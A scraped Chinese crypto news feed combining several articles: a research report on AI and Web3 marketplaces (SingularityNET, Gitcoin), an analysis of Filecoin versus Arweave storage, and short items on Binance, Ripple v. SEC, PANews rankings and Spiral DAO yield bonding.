随着chatgpt应用的持续爆发，AIGC正在成为全球科技领域的焦点，我们认为AIGC有望成为近五年来最成功、最具创造力的数字科技创新，也将是Web3.0时代重要的生产力。chatgpt的惊艳体现了一款特定产品的强大生产力，但Web3.0时代可能需要更多维更立体的AI体系。近期，行业兴起了对通用人工智能（Artificial general intelligence，AGI）的讨论印证了这一点。AGI 是指在AI模拟人类智能，这些机器能够在广泛的领域执行人类可以执行的任何任务，而不是可以在特定任务上表现出色的狭义AI或者专门为一个任务设计的AI机器人。AGI被认为是一个能够适应新情况、将其学习推广到新领域并理解复杂性的人工智能系统。更广泛的目标是将AI机器像人类经济市场一样组织起来，实现更有效的智能生态。 换句话说，如何将AI强大的生产力机器打造成有组织、有智慧的生态系统，还需要机器智慧之外的“运行逻辑”——就像市场规律指导经济运行一样，这套运行逻辑将使得AI、数据要素这些重要资源实现更有效的“配置”，即Web3.0时代将不会是一个产品的惊艳，而是一个生态的绽放。这就像是把AI的能力“云化”：一方面是AI生产力的获取分散化、去中心化，可以从世界各地广泛获取（将多方的资源连接在一起）；另一方面这种“云化”并不是由于某家巨头厂商提供核心能力，而是将更多分散的AI工具、资源、知识在一个平台/市场上得到更有效的资源配置——解决付费和经济生态的问题。 本节以SingularityNET为例来探究Web3.0时代是如何组织AI生产力市场。SingularityNET是一个开放的去中心化人工智能服务自治网络，可通过Web3.0账户身份访问。开发人员将他们的服务发布到 SingularityNET网络，用户在Web3.0市场可以使用它们。开发人员可以使用原生 AGIX Token对使用他们的服务进行收费。简单说，SingularityNET将AI生产力工具组织为一个云化的市场——将分散各处的代码、知识、智慧和工具多方面进行连接交互、经济效率优化。 SingularityNET已经建立了一个去中心化的、自我维持的组织网络，这些组织通过提供指导、资金和专业知识来推动相关项目的成功。如SingularityNET 的 AI-DSL项目将允许一些AI工具像乐高积木一样连接在一起，并由任何人（甚至非技术用户）组装成复杂的工作流程。这一点类似DeFi乐高生态，详见我们的《DeFi新金融》系列报告。 SingularityNET支持的项目OpenCog Hyperon，旨在基于认知协同原则构建一个完整的、可扩展的、开源的AGI系统。HyperCycle 将是一种轻量级的二层网络（Layer2）架构，可以实现大规模的微服务廉价、高速地在链上执行。不同的 AI模块——例如神经网络 (NNs/DNNs)、生成式AI、概率 AI、程序学习 AI等——可以在共享元技术（如API接口）的基础上进行协作。相当于为各种类型的AI系统提供了一个高度可扩展的学习空间、知识存储和工具库，使它们能够协调学习和一起解决问题——这与人类市场经济中的创新创业模式是类似的。 3.3 Web3.0主导AI价值实现和社会治理的运行逻辑 DeFi和DAO作为经济系统和治理系统，是Web3.0时代最具特色的存在。AI生产力和数据资源需要经济系统提高配置效率，亦需要治理系统的监管。 3.3.1 DeFi：AI价值实现的新经济系统 AI能输出很多精彩的内容，但无法自身实现市场价值——AI价值的体现需要覆盖更广泛生态和市场的经济规则——也就说，集思广益是好事，解决付费问题是前提。换句话说，AI作为生产力工具，需要一套经济/金融系统来解放其价值潜力。而Web3.0时代面对广泛的数据来源、代码共享者等各种智慧支持，如何解决其内部的付费问题，或者如何激发这样一个开放世界的经济潜力？DeFi提供了一种解决方案。 Fabian Schär 发表在美联储圣路易斯联储官网的研究报告认为：“DeFi可以提高金融基础设施的效率、透明度和可及性。此外，该系统的可组合性允许任何人将多个应用程序和协议组合起来，从而创建新的、令人兴奋的服务。”其中主要包括以下特点： DeFi之所以能够拥有这些特点，部分原因是区块链底层代码的特性决定的，因此，DeFi相对于传统金融来说，具有低成本、快清算、高效率的特点。而最能提现这些特点的应用便是闪电贷，这是在传统金融世界完全不存在的事物。 特别是开放的可访问性和复合性，为AI的演化提供更开放、更高效的生态环境。 3.3.2 Gitcoin：代码与资源的共享共治平台 AI创新发展的热潮下，如果你有个新奇的想法需要实现怎么办？设立一家公司去拿风投？在大公司争取个创新部门？去一个众筹平台？去车库咖啡碰碰运气？这些看起来都效率偏低，能不能有个平台让新奇的点子、投资者人和代码实现者之间架起桥梁？ Web3.0时代，不仅要解决数据要素市场的问题，AI算法本身的经济规则也应该有更开放的解决方案——利用更开放、更广泛的智慧和资金支持AI算法的演进。 Gitcoin便是一种典型的案例，Gticoin是基于以太坊构建的去中心化协作平台，其为开发者提供了一个开发协作平台，同时为投资者提供了一个捐赠平台（加密货币捐赠）。可以简单理解为项目的代码和资金的众筹、共享平台。其核心功能主要有： 1）赏金（Bounties）： 该分区主要面向广大Web3.0开发者，开发者可通过发布赏金（Bounty）来针对指定问题寻求外部帮助，其他开发者可以通过解决该问题而获得赏金奖励。基于此，项目开发者可以更好的建设社区项目，而解决问题的开发者则可获得相应的奖励。 2）黑客松（Hackathons）： 该分区下集成有许多Hackathon项目，开发者可在此处加入由各个项目方所赞助的黑客松比赛，依照其主题开发相应的产品。 3）捐赠（Grants）： 在捐赠分区，用户可以向一些初创且具有公共物品性质的项目进行捐赠，捐赠结束后，部分项目可能会向捐赠用户给予空投回报。Gitcoin捐赠的核心创新在于二次方融资（Quadratic Funding）。在进行二次方融资时，项目所获资金为社区成员捐出资金的“平方根之和的平方”，即 ，之后基金会将根据每个项目的社区二次方融资金额按比例进行配捐。如在一轮募资中共有两个项目Grant1与Grant2，Grant1获得来自10个人的1美金等值加密货币的捐赠，共计10美金。而Grant2获得来自1个人的10美金捐赠，共计也是10美金。此时若基金会配捐额度为1100美金，根据二次方融资公式，Grant1能获得的二次方融资票数为美金，而Grant2能获得的二次方融资票数为美金。因此按照两个项目二次方融资的票数，Grant1所能获得的基金会配捐为，而Grant2所能获得的基金会配捐为。这样一来，获得基金会配捐的往往是那些投票人数更多的项目，而并非投票金额最多的项目。一方面鼓励了更多用户参与捐赠投票，从而票选出公共服务性最强的项目。另一方面大大增加了骗取基金会配捐的成本，降低了配捐风险。 Gitcoin目前正在过渡为一个去中心化的项目——Gitcoin Grants Stack，更加开放化，任何人都可以发起和管理自己的项目。 Gitcoin为各类Web3.0初创项目以及想要进一步了解Web3.0的用户提供了最为友好的孵化平台和学习平台。这对于AI算法的发展提供了更广泛的智慧支持，更重要的是，Gitcoin的模式为AI算法提供了更加开放的经济规则和支持，这在Web3.0时代，将是AI生产力工具锐意进取的重要推动力。 OpenAI的异军突起、AIGC的快速迭代让数据安全、伦理、隐私等问题更加突出。3月31日，意大利个人数据保护局宣布，从即日起禁止使用聊天机器人ChatGPT，并限制开发这一平台的OpenAI公司处理意大利用户信息。我们在3月29日的江西（南昌）资本市场高峰论坛上也就AIGC涉及的法律问题进行探讨，引发了市场的讨论。 我们认为，在数据要素+AIGC的趋势下，确实“风浪越大，鱼越贵”，但在当一切都在加速的时候，全社会是否真正准备好迎接AI时代的冲击将成为新的聚焦点。如何在开放、安全、隐私之间取得平衡将成为核心。 二级市场，我们建议聚焦： 1）三大运营商，中国电信601728、中国移动600941、中国联通600050； 2）网络可视化产业链：浩瀚深度688292、恒为科技603496、中新赛克002912； 3）内容审查与IP保护：人民网603000、新华网603888、博汇科技688004； 4）BOSS产业链，东方国信300166、天源迪科300047、亚信科技HK1675。 风险提示 区块链商业模式落地不及预期：区块链、密码学等相关技术和项目处于发展初期，存在商业模式落地不及预期的风险；Move生态发展不及预期。 监管政策的不确定性：区块链项目实际运行过程中涉及到多项金融、网络及其他监管政策，目前各国监管政策还处于研究和探索阶段，并没有一个成熟的监管模式，所以行业面临监管政策不确定性的风险。  ( 2 min )
    去中心化存储愿景：从“去中心化网盘”到“去中心化服务器”，Web3里永恒的主题
    原文：《IOSG Weekly Brief｜从存储到计算，去中心化存储复兴 #168》 作者：Leo, IOSG Ventures 概要： Arweave协议设计从技术上保证永久存储的实现，更适用于高价值数字资产，如NFT metadata的保存 数据存储之上，更需要计算。随着智能合约和可编程性的引入，去中心化数据存储网络的发展已经进入“不仅仅是存储”的新阶段 实现存储数据冗余，Filecoin诉诸经济激励手段，Arweave则借助协议设计 FVM为Filecoin带来存储金融，将存储空间和时间商品化，用户可以提前锁定成本，存储供应商也能提前回笼资金，并根据远期需求规划管理库存、硬件、运营 计算机网络发展的主流，无外乎数据计算，传输，存储三个方向。Web3发展时至今日，去中心化数据存储协议的发展有目共睹。Filecoin于2023年3月14日2,683,348 Epoch高度正式在主网发布了兼容EVM的Filecoin Virtual Machine (FVM)，将智能合约和可编程性带入Filecoin网络，去中心化数据存储协议的发展已经进入了“不仅仅是存储”新阶段。 去中心化数据存储协议有很多，最引人注目的唯属Filecoin和Arweave，针对FVM发布赋予Filecoin的新特性，我们在本文中逐一进行讨论。 永久存储在Web3中有特别的意义和需求，高价值的数字资产如 NFT Metadata须要被永久保存。 Filecoin在FVM发布后，强调了永久存储（Permanent Storage）的特性。我们理解的Filecoin永久存储是通过经济手段在理论上实现长期保存，但在Filecoin协议设计层面没有太多改动。在Filecoin当前设计中，存储订单是在存储供应商和存储需求者之间链下撮合链上记录的，订单包含的信息有数据大小、存储时间、订单价格和抵押物。若想所存数据在订单所定义的存储时间到期后被继续保存，存储需求者不得不人为手动地提交更新订单。但FVM发布后，订单可以在链上得到自动续费更新。Lighthouse是致力于实现Filecoin上永久文件存储的项目，用户只需付费一次，文件即可“永久”保存。Lighthouse通过基于智能合约的捐赠池（endowment pool）来为文件持续支付存储费用。当用户创建订单并付费时，金额的一部分交给存储供应商，剩下的部分则进入捐赠池。捐赠池智能合约将在订单到期时自动续约并用捐赠池中的金额付费，以此实现“永久存储”。这个设计的可行性在于捐赠池会通过质押、farming等方式实现池内资产增值，随着时间流逝，增值的部分足以覆盖存储的开销。这与Arweave黄皮书中对于存储成本的假设类似，即存储费率会不断下降，存储需求者支付金额的增值足以涵盖永久存储的开销。 “过去50年，存储费率以年均下降30.57%”。 Arweave Yellow Paper: 自1980年来，每保存1GB数据1小时的成本（log scale） Arweave则是在常见的区块链数据结构上引入了命名为Blockweave的设计，通过协议设计从根本上来实现数据被永久存储。Blockware中，链上的每一个区块（除了最新确认区块和正在被挖的候选区块）会和另外三个区块相连，分别为前序区块、后序区块和召回区块（recall block）。对某一高度的区块而言，召回区块可以是Blockweave中该高度区块以前的任意历史区块。在矿工挖新块时，召回区块的选择是由前序区块高度和哈希随机决定的。召回区块在Arweave所采用的共识机制——随机访问简洁证明（Succinct Proof of Random Access — SPoRA）中扮演了重要的角色。在Arweave中，矿工不必保存所有历史区块（即保存所有历史区块非参与挖矿的必要条件），但矿工本地保存有被随机选中的召回区块是矿工参与候选新块挖矿的入场券。召回区块功能上类似于随机抽查矿工是否保存有历史某一区块的内容，从而实现历史数据的永久存储。 Arweave的永久存储是根据协议设计从技术上来保证的，相较于Filecoin的永久存储是更robust的方案，也是Web2科技巨头Meta, Instagram和Web3应用Mirror选择Arweave作为其NFT、内容的存储方案的主要原因。 数据保存了，更重要的是使用。Filecoin和Arweave的愿景远不仅是“去中心化网盘”（然而当前大部分存储需求者仅仅将其用作于此），更要做兼具低成本存储和高吞吐计算的区块链协议。数据存储之上，Web3 Dapps还需要计算。 Filecoin和IPFS在遍布世界各地的存储供应商之间分发内容寻址的（content-addressed）数据集，以增加数据的冗余性和弹性。这种去中心的数据分布，带来了成本、可用性和可靠性的优势，但随之而来的问题是单个数据集的各部分被存储在地理位置相距较远的各个存储供应商处。广泛而分散保存的数据集不利于在数据之上执行计算或查询索引的操作。但是将高度分散的数据重新组合到一个中心以对其进行计算是昂贵、浪费、性能低下且违背去中心化存储原则的。Filecoin上EVM兼容的FVM提出了边缘计算（edge computation）结合链上协调执行计算的方案。FVM中的合约可以代理经纪计算资源、激励计算执行、在可用存储供应商之间分配工作负载，并证明计算结果的有效性以获得奖励。存储供应商可以通过FVM合约注册参与去中心化计算网络。计算客户端会将计算任务发布到合约。合约定义的机制会将计算任务分配给注册参与计算网络的存储供应商，当完成计算，存储供应商将发布证明来获得报酬。 Arweave上的去中心化计算通过SmartWeave智能合约协议实现，具备直接处理丰富数据的能力。SmartWeave和其他区块链智能合约协议的主要区别是“Lazy Evaluation (惰性计算)”，将智能合约执行计算的负担从网络节点转移到智能合约用户。惰性计算的好处是显而易见的，通过将存储和计算解耦，节点不需要保存不断增长的全局状态。智能合约可以在被使用时才由用户计算、验证最新状态，而不需要参与链上共识的每个节点都进行计算、验证。将计算下放给用户，区块链的可扩展性也得到了提升。Warp开发了一套基于SmartWeave初始版本的Warp SDK，相较于原生版本提升了性能和模块化程度，并允许不同的执行环境。 Warp近期发布了2023年路线图，开发目标包括： 1）Layer1同步器：实现Warp合约与基础Arweave层的高效同步； 2）Layer2排序器，与其将数据直接发到Arweave主网（可能等待2~3分钟区块时间直到数据被打包进下一个新挖区块），数据交易被导向Warp排序器，再通过Bundlr网络，交易可以立即结算，为用户提供数据的即时访问和近乎即时的最终确定性； 3）合约增强改进，Warp contract旨在为Web3 Dapps提供功能齐全的技术堆栈，以与Web2服务竞争； 4）开发委托解析环境（Delegated Resolution Environment）和聚合节点，委托解析环境允许对高交互和/或不安全合约进行计算委托，聚合节点则提供合约状态信息的监测和洞察。 去中心化数据存储网络避免了单点故障，但如何保证各节点/各存储供应商真实有效地保存了存储需求者的上传数据？并让多个节点/存储供应商分别保存上传数据以实现存储冗余和可靠性？Filecoin和Arweave采取了不同的方案，Filecoin诉诸经济激励手段，Arweave则借助协议设计。 FVM发布亮点中介绍了Replication Worker（数据复制工作者）, Repair Worker（数据维修工作者）。在FVM发布前，如果存储需求者希望在网络节点中备份他们的数据，以最大限度地提高数据在存储供应商出现故障时被保存下来的机率，需求者必须繁琐地与供应商链下撮合N次订单，执行N次链上交易，并密集耗费资源传输N次数据。在FVM发布后，数据复制工作者将作为中介，仅收取少量费用来实现数据冗余，为存储需求者节约时间和开销。复制工作者会根据需求者所选择的备份数量、存储地理区域、延迟要求、价格范围等条件，自动在Filecoin网络上撮合并生成存储订单。数据维修工作者则可以作为需求者的代理，监控存储数据是否丢失或过期，并根据需求者的设置将低于冗余阈值的数据自动复制备份到更多存储供应商，还可以代表存储需求者更新已过期或终止的存储订单。 Arweave的存储冗余是通过协议设计自然实现的。Arweave将召回区块作为随机访问简洁证明（SPoRA）工作量算法输入的一部分，保证挖得新块的矿工确实保存有召回区块的所有数据。SPoRA共识机制鼓励矿工在其存储空间能力范围内尽可能多地保存历史区块和Blockweave数据。但若矿工的存储能力不足以保存所有历史区块和完整Blockweave数据，矿工会优先保存被其他矿工较少保存过的区块，因为当一个被较多矿工保存了的召回区块被选中时，较多矿工会同时参与挖新块的竞争；而当一个被较少矿工保存了的召回区块被选中时，竞争会相对较小。又因为召回区块的选择是高度随机的，任一召回区块被选中的几率是离散均匀分布的，因此在存储能力受限的情况下，理性矿工应该优先保存被较少保存过的区块以提高其挖得新块的几率来获得区块奖励。Arweave的协议通过精巧设计和经济激励，让blockweave和所有历史区块能够在整个网络所有矿工存储能力范围的约束下，尽可能地将任一历史区块被最大化地备份，保证了Arweave去中心存储网络的可靠性和数据冗余。 数据保存了，如何高效、准确、快速地取回数据是另一个问题。 Filecoin中数据检索服务是一套单独的经济激励系统。Retrieval Provider（检索供应商）负责为存储需求者提供对其数据的快速访问。检索供应商专注于快速访问数据，而不是长期存储。大多数存储供应商同时也是检索供应商。需求者向检索供应商付费以获取数据。Filecoin生态中已有retrieval.market和Saturn Network等项目实现数据的快速检索和内容分发。 Arweave的SPoRA共识机制除了上述永久存储和存储冗余的优点，也一石三鸟地提高了数据检索和访问速度。在升级SPoRA之前，Arweave的可访问证明（Proof-of-Acces — PoA）旧共识机制解决了如何激励矿工尽可能多地存储数据的问题，但并没有激励矿工快速检索存储数据。事实上，在PoA时期，矿工们将存储资源归集起来做了存储池，存储池里保存历史区块。当某一召回区块被选中，存储池在被矿工请求时向矿工发送该召回区块的内容。这是不利于网络去中心化的。Arweave网络统计曾出现了全网哈希算力增长的同时节点数量却下降的情况，间接证明了存储池的存在。为解决这个问题，也为鼓励各个矿工在本地存储数据，Arweave将PoA升级成了SPoRA。升级SPoRA后，选择不在本地存储历史区块数据的矿工向存储池（需要极多次地）请求并传输召回区块，传输数据的成本和时间极大增加，而在本地存储了历史区块数据的矿工能有较高的几率挖得新区快。从机制设计上杜绝了存储池的存在。而分布世界各地的矿工节点在本地存储历史区块数据，也提高了存储需求者对数据的检索和访问速度。 随着FVM的发布，Filecoin上可以引入包括DeFi在内的众多Web3应用，例如质押协议、保险协议、存储衍生品等。Filecoin中的存储供应商需要抵押一定数量的FIL作担保才能提供存储服务，在过去存储供应商要么筹钱购买FIL，要么依赖链下的借贷合同借得FIL。但借助建立在FVM上的质押协议，FIL代币持有者可以将闲置FIL存入协议中，并制定规则和条款，任意规模的存储供应商可以根据这些规则和条款在链上获得FIL来筹集足够抵押数量的FIL，以开展存储服务。存储衍生品是另一个很有趣的应用场景，动态的存储开销给存储需求者和存储供应商都带来了统筹预算的挑战。将存储空间和时间商品化（commoditize），存储需求者可以提前锁定存储成本，存储供应商也能提前回笼资金，并根据远期需求提前规划管理库存、硬件、运营和财务。 项目定位和现状 Filecoin当前全网共有3678个节点提供约19.544EiB的存储空间，而Arweave全网共有112个节点实际保存了125.62TiB的数据。从规模上看Filecoin网络更大，但Filecoin和Arweave虽同为去中心化数据存储协议，但他们有着不同的定位，不能简单地诉诸网路节点多少或规模大小来比较。 Protocol Labs将Filecoin定位为Storage Marketplace和Incentive layer，围绕Filecoin做了完善的存储市场、检索市场、金融产品等，通过经济激励设计来实现丰富的产品功能（如永久存储、存储复制与修补等），致力于成为最大最重要的去中心化的数据存储、分发、计算协议。Arweave最重要的定位则是永久保存数据，并基于最底层的Arweave开发智能合约协议实现对数据的计算。所有的机制设计均为这个最重要的目标服务，从前面几个特性的介绍中，不难体会到Arweave的设计是精巧而统一的。 相较于以太坊生态和以太坊虚拟机的突飞猛进，去中心化数据存储网络的发展在过去几年略显平淡。在Filecoin和Arweave生态中有很多优秀的项目和创业者，但是现在Web3 Dapps的存储方案并没有大规模采用Filecoin和/或Arweave，很多Dapps依然依赖Web2存储方案。在解决存储的区块链上做计算是一个新颖的路径，不论是FVM还是SmartWeave，都具备让开发者解锁前所未有的去中心化应用的潜力。作为开发者或用户，使用哪个去中心化存储协议并不是二选一的问题，而是应该根据应用和内容的存储需求来选择。Filecoin和Arweave的定位虽有重叠的地方，但更能在各自独到之处精进发展，满足持续演进的去中心化网络存储需求，实现从“去中心化网盘”到去中心化服务器的愿景。  ( 2 min )
    赵长鹏：近期FUD或由其他交易所赞助传播，行业应团结而非攻击同行
    PANews 4月4日消息，币安首席执行官赵长鹏发推文称：“最新的 FUD只由加密新闻媒体和KOL传播，很可能是由另一个交易所植入/赞助的。这种做法非常小气，伤害了行业，也伤害了他们自己。有足够多的外部力量在攻击我们，我们的行业需要在这个节骨眼上团结起来。” 此前今日早些时候消息，币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言。  ( 1 min )
    PANews 2023年3月专栏作者影响力及专栏文章热度排行榜出炉
    PANews 2023年3月专栏作者影响力排行榜TOP5及专栏文章热度排行榜TOP10（以下简称“双榜”）于今日出炉，我们对3月份PANews平台上的所有专栏作者发文情况及所有专栏文章热度进行了综合性评定，制作出双榜。 我们根据发文频率、发文质量及阅读量进行综合评定，制作出3月专栏作者影响力排行榜TOP5。如上图所示，上榜的5位专栏作者为： Biteye是一个专注于 L1/L2、DeFi、NFT 和 Web3 的区块链研究机构和社区。3月期间，该专栏作者输出了大量内容，其中Arbitrum、空投相关、LayerZero等内容均为当时市场热点所在，因此获得了不错的阅读量，点此访问该作者主页。 0xLoki是3月新入住PANews的Web3领域KOL，曾任火必、中国国家智库研究员。3月USDC脱锚期间，该作者撰写的《从Circle储备资产结构分析暴雷可能：USDC极端为0.885，正常0.985》收获了极高的市场热度，点此访问该作者主页。 Star's Decentralized Brief是专注于NFT领域的研究员，时常输出深度内容。3月期间，该专栏作者输出了星巴克、阿迪达斯在Web3中的布局、NFT新叙事Open Loyalty、AI&ChatGPT等深度内容，收获市场许多的关注，点此访问该作者主页。 SophonLabs (智子实验室) 专注Web3优质项目孵化与投研，3月期间共输出6篇文章，其中3篇属于ZK、ZK-EVM方面的内容，也收获了市场较多的关注，点此访问该作者主页。 ETH中文是以太坊的中文资讯社区，旨在传递优质资讯和学习资源。3月期间，ETH中文输出了大量内容，上海升级、质押取款、以太坊最新进展、官方公告等内容引发市场强烈的兴趣，点此访问该作者主页。 我们根据内容质量及文章阅读量进行综合评定，制作出3月专栏文章热度排行榜TOP10。如上图所示，上榜的10篇专栏文章为： No.1《从Circle储备资产结构分析暴雷可能：USDC极端为0.885，正常0.985》by 0xLoki Circle暴雷可能性分析：先说结论，出问题的概率极低，不要自己吓自己。 No.2《2023年潜在的空投大礼包：5大可能超越Aptos的早期项目》by Biteye 这里我们盘点了 5 个被低估的空投项目，他们或许在未来超越 Aptos。 No.3《Arthur Hayes：美联储救市，“印钞机”启动》by Arthur Hayes 解读美联储新的银行定期融资计划 (BTFP) 以及带来的影响。 No.4《2023 值得关注的五大技术趋势：以太坊升级、Staking、模块化、ZK应用及账户抽象》by HashKey Capital 以太坊合并、上海升级后，Staking 赛道将在 2023 年迎来更多发展。 No.5《万物研究院：OpenAI创始人要向10亿人空投的Worldcoin是什么？》by 万物岛ThreeDAO 随着OpenAI的ChatGPT发布后掀起了一波AI热潮，但与此同时OpenAI创始人Sam正在谋划另一起也会发生在上半年的Crypto热潮：WorldCoin。 No.6《GameFi赛道"灵魂十问"：Web3游戏的未来在哪里？》by Zonff Partners 从早期的 P2E 模式到流量分发平台，从 MMO 模式再到全链游戏，市场的关注点也总在发生着变化。 No.7《3月加密叙事展望：LSD仍为核心事件，关注ZK发展趋势》by 雨中狂睡 将3月将到来的加密事件分为 S、A、B、C 四个等级，以方便提前做出埋伏。文章将会呈现 S 级和 A 级两个板块。 No.8《详解新公链Sui及其生态》by 7 O'Clock Labs Sui 是首个完全无需许可Layer 1区块链，特点在于安全、快速。它实现了平行交易，并在交互足够简单时不需要共识而是使用更简单、快速的结算方式，因此给金融、数字商务和游戏带来了巨大的可能性。 No.9《为什么Aura Finance可能成为LSD最大的黑马？》by Web3工场 高APY、高资本效率、低GAS和庞大的合作关系，这些都是Aura Finance的催化剂。 No.10《Vitalik撰文：如何选择多重签名和社交恢复钱包的“守护人”？》by Vitalik Buterin 钱包被盗事件层出不穷，如何防止用户资金损失和盗窃始终是行业重要问题，目前市场上出现的多重签名和社交恢复钱包能够极大提升钱包的安全性，但如何选择钱包的“守护人”成为了下一个要思考的问题，Vitalik今日发文为我们阐述了他的看法。 恭喜以上5位专栏作者和10位热度文章作者，同时感谢所有专栏作者，你们的付出与支持让PANews更加精彩。2023年第一季度已经收官，加密市场迎来期待已久的复苏。3月期间，传统金融及监管事件对我们产生了许多影响，但加密市场也展现了令人惊叹的韧性。“去中心化愿景”越发重要，Web3长期趋势更加明朗，一起期待“巨大的泵”！同时，我们十分殷切地希望更多优秀的朋友能够成为PANews专栏作者，共同建设Web3的明天：  ( 2 min )
    代币激励与通货膨胀矛盾如何破？一文解读Spiral DAO提出的Yield Bonding新叙事
    撰写：DeFi Made Here 编译：深潮 TechFlow DeFi 项目一直面临着保留其总锁定价值（TVL）和确保流动性提供者可持续收益的重大挑战。这对于像$CRV、$BAL 和$FXS 这样的代币尤为真实，它们一直受到通货膨胀压力和“挖矿和倾销”倾向的困扰。 然而，由 Spiral DAO 倡导的名为 Yield Bonding 的新概念旨在通过为流动性提供者提供绑定其收益奖励并获得更高奖励作为回报的机会来改变这种局面。本文将深入探讨这个新概念及其如何可能彻底改变 DeFi 领域。 $CRV $BAL 和$FXS 现在有什么问题？ 它们共享收益、吸引流动性、创建飞轮等，但它们也正在疯狂的通货膨胀。 这些代币一直面临流动性提供者的“质押和抛售”。随着原生代币价格下跌，协议正在失去 TVL。这会导致负循环，随着 TVL 的减少，协议也失去了交易量、交易费用，甚至是对原生代币的需求减少等。但是，如果流动性提供者不是将收益奖励抛售，而是将其债券化，会发生什么？ 这正是 Spiral DAO 旨在实现的目标，它是一个非常有趣的概念。让我来为您解释一下。 流动性提供者将放弃他们的收益奖励（$crv $bal $fxs），转而获得$COIL，但其利率高于基础收益。我的第一个想法是，谁会支付这笔费用？这一定是另一种庞氏骗局。 Spiral 将推出治理代币，并使用 StakeDAO 将其进行流动性包装。流动性包装的代币将支持$COIL 的价格。与此同时，Spiral 也将获得这些代币的治理权和基础收益。 由于 Spiral 可能成为贿赂市场的主要参与者，因此它可以有效地套利贿赂。例如，贿赂 Curve 市场比在 Balancer 上更有效率。Spiral 将在 Balancer 上出售票数，然后在 Curve 上购买票数，从中获得差额。 如果$CVX / $AURA 的交易价格低于$CRV / $BAL（按投票权重计算），Spiral 也将向$CVX / $AURA 进行 POL 配置，填补市场的低效率。 因此，Spiral 将能够向流动性提供者支付额外的奖励，原因如下： • 贿赂； • 治理代币的原生收益； • 市场低效率套利。 对于 LP 的额外 APY 公式如示：额外收益=（$SPR MC / 财库价值-1）* 0.4 如果$SPR 的市值为 1500 万美元，财库价值为 1000 万美元，则额外收益将为： * 0.4 = 0.2 因此，在池子自身的收益为 30％的情况下，将获得 36％的$COIL 收益。 $SPR 是 $COIL 的质押版本，类似于 $OHM。Spiral 与 Olympus 有很多共同点，但是它是为了收益而调整的，而不是流动性，并且有可控的通胀。 Spiral 还将为代币持有人提供公平的退出机制。如果$SPR 的交易价格低于净资产价值 5-10％，则会分配资金来保护价格。 所有收益都会收取 20％的绩效费用，当协议发行 100 个$COIL 的收益债券时，将铸造 50 个额外的$COIL 并分发给： • 15个$COIL用于DAO需求 • 15个$COIL用于维护POL • 团队20个$COIL（有6个月的锁定期） 谁在为额外收益买单？ 不，你不是收益的来源。 贿赂、交易费用、市场效率低下，以及收益债券的新概念（因此增加了治理权和奖励）是来源。 谁受益于 Spiral？ • 流动性提供者可以获得更多收益。 • Curve Finance / Balancer / Frax Finance，因为他们的原生代币可能会被永久锁定。 • StakeDAO ，因为他们的流动性锁定将获得大量TVL。 而且说到 StakeDAO，他们可能会在流动性锁定 TVL 方面获得非常大的提升。如果从第 1 天起，如果 Spiral 将出售所有的初始国债发行（Initial Treasury Offering）， $BAL 流动保险箱将获得 +50% TVL。 参与 ITO 对谁有意义？ 首先，如果您希望获得$CRV/$BAL/$SDT/$FXS 的收益，那么参与 ITO 是有意义的。 对于类似 OHM 的项目，如果您在市值等于资金支持的时候早期参与，几乎不会出现亏损。 ITO 参与者（空投）只有 3-5% 的稀释，并且下行空间有限。因此，如果在接下来的 6 个月内有任何内在价值增长（直到团队的份额被解锁），就会有购买和持有 $COIL 的动机，而不是持有一篮子 ITO 代币。 Spiral 正在将一种新的 Yield Bonding 概念引入到 DeFi 中，这有利于 veTokenomics，并在理论上应该增加提供流动性者的收益。  ( 2 min )
    XRP会被判为证券吗？Ripple vs SEC案5种结局猜想
    观点来源：John E Deaton，Ripple vs SEC 案「法庭之友」 撰文&编译：Karen，Foresight News 时隔两年多时间，Ripple vs SEC 法律纠纷目前接近最终裁决。美国证券交易委员会 （SEC）最早于 2020 年年底对瑞波 Ripple 及其首席执行官 Brad Garlinghouse 和联合创始人 Christian Larsen 提起诉讼，指控他们通过一项未注册数字资产证券发行筹集了超过 13 亿美元，并称后者违反了联邦证券法的注册规定。 考虑到案件的拖延迟缓和悬而未决，2022 年 9 月份，Ripple 和 SEC 都要求法官在 Ripple 出售 XRP 代币一案中迅速做出简易判决，双方都不希望法律诉讼继续进行全面审判。 针对法官裁决日期，代表 XRP 持有者的一位律师作为「法庭之友」John E Deaton 表示，如果 3 月 31 日没有裁决的话，可能会在接下来的 30 或 60 天内发生。John E Deaton 也是律师事务所 CryptoLaw 创始人。 Ripple 首席执行官 Brad Garlinghouse 在今年 1 月份也表示，希望在 2023 年上半年与美 SEC 的法律纠纷中达成解决方案。 John E Deaton 近期设想了 Ripple 与 SEC 诉讼的几种结果，Foresight News 整理如下： John E Deaton 认为，SEC 在此案中的理论过于宽泛和牵强，无法获得彻底的胜利。 可以看出，John E Deaton 对 Ripple 在该案件中的处境较为乐观且相对坚定，不过如果真的判定 Ripple 证券欺诈的话，Ripple 或将再面临交易所下架、严厉审查等一连串致命打击。另一方面，法院对 Ripple vs SEC 法律纠纷的裁决结果对加密货币整个行业也至关重要，将间接影响到美国监管机构后续对加密领域的监管权利。  ( 2 min )
    币安面临美佛罗里达州“数十万名”投资者的集体诉讼
    PANews 4月4日消息，据Blockworks报道，上周五，由集体诉讼资深律师Adam Moskowitz领导的律师事务所Moskowitz代表“数十万受害者”，对币安、首席执行官赵长鹏以及在佛罗里达州推广该交易所的名人（包括NBA迈阿密热火队球星吉米巴特勒）提起诉讼。Moskowitz也正参与针对FTX和Voyager Digital的集体诉讼。 Moskowitz对此案的诉讼依据集中在《蓝天法》上，该法案是美国各州制定的证券法的统称，用于规范一个区域内的证券交易，以及股票经纪人和投资顾问的注册。Moskowitz表示，币安、FTX和Voyager以及附属个人“都涉嫌出售和推广未注册证券”。法律专家表示，由于加密货币不在全国性证券交易所交易，因此这一资产类别可能会受到国家级监管规定的约束，这为更多未注册的证券诉讼提供了可能。  ( 1 min )
    Flatcoins会成为下一个DeFi热门叙事吗？
